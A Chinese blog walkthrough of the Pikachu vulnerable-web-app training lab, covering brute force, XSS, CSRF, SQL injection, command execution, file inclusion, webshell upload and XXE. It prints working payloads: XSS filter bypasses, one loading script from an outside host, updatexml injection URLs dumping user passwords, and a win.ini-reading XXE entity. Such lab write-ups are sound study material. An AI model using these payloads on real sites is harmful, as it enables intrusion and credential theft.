pikachu通关

密码爆破

1.1表单爆破

Burpsuite抓包直接爆
img

1.2验证码绕过(on server)

验证码在服务端只验证一次,那么手动输入验证码后再次爆
img

1.3验证码绕过(on client)

验证码只在客户端进行验证,并不会发送到服务端,所以抓包的时候直接把验证码去掉再爆
img

1.4绕过token防护

这里我就得向服务器获取到token值,然后递归和字典一起爆
img

获取到的第一个token值,需要手动粘贴填一下,另外重定向哪里也需要设成一直
img

XSS注入

反射型(get)

直接再url中写入payload

1<script>alert('1')</script>

img

反射型(post)

在搜素框中写入payload,点击时触发

1<h onclick=alert('1')>1<h>

img

存储型

留言板中留个图片,不加源,同样是点击触发

1<img  src="" onclick=alert('1')>

img

DOM型

直接单引号闭合跃出,加上点击触发

1' onclick="alert('xss')">

img

DOM_XSS-X

同理
img

盲打

不管3721,尝试就对了
img

img

绕过滤

第一种,大小写

1<ScRipt>alert(1)</ScRIpT>

img

第二种,双重尖括号双倍快乐

12<<SCRIPT>alert("XSS");//<</SCRIPT>

img

第三种,没有标签绕过
某些浏览器中不需要加入常规XSSpayload中的”>”部分.例如firefox会为你非常体贴的安全闭合HTML标签,并且加入闭合标签!

1<SCRIPT SRC=http://xss.rocks/xss.js?< B >

img
其他绕过方式

1/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

htmlspecialchars实体转换

使用Javascript伪协议

1javascript:alert(document.domain)

img

href输出

同样可以使用伪协议输出

1javascript:alert(document.domain)

img

js输出

闭合,输出
img

CSRF跨站伪造请求

GET型

直接存在于URL中,实现起来很简单
img

post型

POST注入稍微麻烦一点需要先截包,然后使用burpsuite生成一个表单,挂在服务器里,让受害者点击
img

token

SQL注入

数字型注入

布尔判断寻找注入点
img

直接order by,猜出字段数

img

查找显示位
img

查看数据库版本和当前库名
img

根据得到的库名得到pikachu中所有表名
img

查找users表中的所有字段信息
img

然后直接查找pikachu库中users表的username和password信息
img

同理可以查找数据库root用户的密码
img

解密
img

字符型注入

单引号判断注入点

img

闭合单引号

img

判断字段数
img

使用updatexml报错注入得到pikachu库下的表名

1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) -- &submit=查询

img

拿到users表的字段信息

1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- &submit=查询

img

拿users表的具体内容

1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1) -- &submit=查询

img

搜索型注入

可以发现单引号出现报错,注释掉后回显正常,那么就可以选择联合注入或者是报错注入,这里就不占篇幅了
img

不知名类型注入

可以看见他构造的闭合有点奇怪,是'),有的情况下还有双引号、中括号等奇葩方式,但是只要找到注入点就基本结束了,注入方法参考上面的联合和报错
img

insert、update、delete注入

加入万能的单引号
img

再次使用报错
img

延时注入(布尔注入与延时同理不做演示)

payload如下

123http://192.168.1.7/pikachu/vul/sqli/sqli_blind_b.php
?name=lili' and sleep(20
)--+

img

宽字节注入

带入%82复活单引号

img
接下来就简单了,和上面一样

命令执行

远程命令执行

例如在执行ping命令后加管道符(或&&)执行systeminfo获取系统详细信息,
img

远程代码执行

例如输入phpinfo();
img

文件包含

本地文件包含

一般配合目录遍历使用,例如读取服务器的hosts文件
img
img

远程文件包含

远端服务器准备
docker快速开一个lnmp服务

12root@linux:~# docker run -itd -p 12345:80 raesene/bwapp
84ea4667fa6e76be69cc1468a70d485fb198554b5bb4a38b369030666e0a95d5

包含远端文件
img

文件下载

目录遍历下载个记事本
img

文件上传

客户端检查

将webshell上传时改成图片格式,截包后改成php格式

img

服务端检查

不用改成图片格式,直接上传webshell,截包将Content-Type声明为 image/png
img

webshell连接
img

图像内容检查

这里使用了getimagesize() 函数获取图像大小及文件头是否是真实的图片,所以需要将webshell写入真实的图片来绕过检查
img

webshell连接
这里的shell是放在图片里的,所以需要让nginx错误的解析图片释放webshell
img

越权

水平越权

直接替换用户查询即可
img

垂直越权

admin登陆后进入添加用户复制URL退出登陆,登陆pikachu进入admin的管理界面添加一个用户lisi
img

目录遍历

img

敏感信息泄露

直接F12查看代码
img

PHP反序列化

img

XML注入

payload

12345<?xml version = "1.0"?><!DOCTYPE ANY [

    <!ENTITY f SYSTEM "file:///C://Windows//win.ini">

]><x>&f;</x>

img

URL重定向

img

SSRF

curl_exec()函数

img

file_get_contents()函数

img

https://brands.cnblogs.com/huawei)

posted @ 2021-12-17 13:05  A2rcher_zjh  阅读(247)  评论(0编辑  收藏  举报